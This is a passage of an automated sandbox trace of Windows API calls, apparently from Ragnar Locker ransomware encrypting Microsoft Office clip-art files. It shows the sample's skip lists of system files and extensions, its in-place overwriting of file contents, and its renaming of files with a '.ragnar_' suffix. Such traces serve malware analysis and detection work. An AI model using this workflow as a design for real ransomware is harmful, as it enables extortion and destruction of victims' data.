lstrcmpiW (lpString1="J0195788.WMF", lpString2="ntuser.dat") returned -1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="ntuser.dat.log") returned -1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="ntuser.ini") returned -1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="thumbs.db") returned -1 [0085.728] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.728] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.728] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.728] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.728] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.728] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.728] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf")) returned 0x20 [0085.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.728] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3004) returned 1 [0085.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.729] GetProcessHeap () returned 0x580000 [0085.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.729] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.730] VirtualAlloc (lpAddress=0x0, dwSize=0xbbc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.730] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbbc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbbc, lpOverlapped=0x0) returned 1 [0085.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.730] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbbc, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.730] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbbc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbbc, lpOverlapped=0x0) returned 1 [0085.731] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbbc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.731] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.731] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.731] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.731] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.731] GetProcessHeap () returned 0x580000 [0085.731] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.731] CloseHandle (hObject=0xf4) returned 1 [0085.731] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" [0085.731] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.ragnar_FD7BD9FC" [0085.731] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.732] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1 [0085.732] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.732] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0196060.WMF" | out: lpString1="J0196060.WMF") returned="J0196060.WMF" [0085.732] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned=".WMF" [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="autorun.inf") returned 1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="boot.ini") returned 1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="bootfont.bin") returned 1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="bootsect.bak") returned 1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="bootmgr") returned 1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="bootmgr.efi") returned 1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="bootmgfw.efi") returned 1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="desktop.ini") returned 1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="iconcache.db") returned 1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="ntldr") returned -1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="ntuser.dat") returned -1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="ntuser.dat.log") returned -1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="ntuser.ini") returned -1 [0085.732] lstrcmpiW (lpString1="J0196060.WMF", lpString2="thumbs.db") returned -1 [0085.732] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.733] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.733] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.733] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.733] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.733] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.733] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf")) returned 0x20 [0085.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.733] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4750) returned 1 [0085.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1285, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.733] GetProcessHeap () returned 0x580000 [0085.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.733] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.735] VirtualAlloc (lpAddress=0x0, dwSize=0x128e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.735] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x128e, lpOverlapped=0x0) returned 1 [0085.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.736] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.736] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x128e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x128e, lpOverlapped=0x0) returned 1 [0085.736] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x128e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.736] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x128e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.736] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.736] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.736] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.736] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.736] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.736] GetProcessHeap () returned 0x580000 [0085.737] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.737] CloseHandle (hObject=0xf4) returned 1 [0085.737] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" [0085.737] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.ragnar_FD7BD9FC" [0085.737] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.737] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1 [0085.737] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.737] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0196110.WMF" | out: lpString1="J0196110.WMF") returned="J0196110.WMF" [0085.737] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned=".WMF" [0085.737] lstrcmpiW (lpString1="J0196110.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.737] lstrcmpiW (lpString1="J0196110.WMF", lpString2="autorun.inf") returned 1 [0085.737] lstrcmpiW (lpString1="J0196110.WMF", lpString2="boot.ini") returned 1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="bootfont.bin") returned 1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="bootsect.bak") returned 1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="bootmgr") returned 1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="bootmgr.efi") returned 1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="bootmgfw.efi") returned 1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="desktop.ini") returned 1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="iconcache.db") returned 1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="ntldr") returned -1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="ntuser.dat") returned -1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="ntuser.dat.log") returned -1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="ntuser.ini") returned -1 [0085.738] lstrcmpiW (lpString1="J0196110.WMF", lpString2="thumbs.db") returned -1 [0085.738] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.738] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.738] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.738] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.738] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.738] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.738] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf")) returned 0x20 [0085.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.739] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5326) returned 1 [0085.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.739] GetProcessHeap () returned 0x580000 [0085.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.739] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.741] VirtualAlloc (lpAddress=0x0, dwSize=0x14ce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.741] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14ce, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14ce, lpOverlapped=0x0) returned 1 [0085.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.742] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.742] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14ce, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14ce, lpOverlapped=0x0) returned 1 [0085.742] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.742] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.742] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.742] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.743] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.743] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.743] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.743] GetProcessHeap () returned 0x580000 [0085.743] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.743] CloseHandle (hObject=0xf4) returned 1 [0085.743] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" [0085.743] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.ragnar_FD7BD9FC" [0085.743] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.743] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1 [0085.743] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.744] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0196142.WMF" | out: lpString1="J0196142.WMF") returned="J0196142.WMF" [0085.744] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned=".WMF" [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="autorun.inf") returned 1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="boot.ini") returned 1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="bootfont.bin") returned 1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="bootsect.bak") returned 1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="bootmgr") returned 1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="bootmgr.efi") returned 1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="bootmgfw.efi") returned 1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="desktop.ini") returned 1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="iconcache.db") returned 1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="ntldr") returned -1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="ntuser.dat") returned -1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="ntuser.dat.log") returned -1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="ntuser.ini") returned -1 [0085.744] lstrcmpiW (lpString1="J0196142.WMF", lpString2="thumbs.db") returned -1 [0085.744] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.744] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.744] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.744] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.744] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.744] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.744] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf")) returned 0x20 [0085.744] CreateFileW 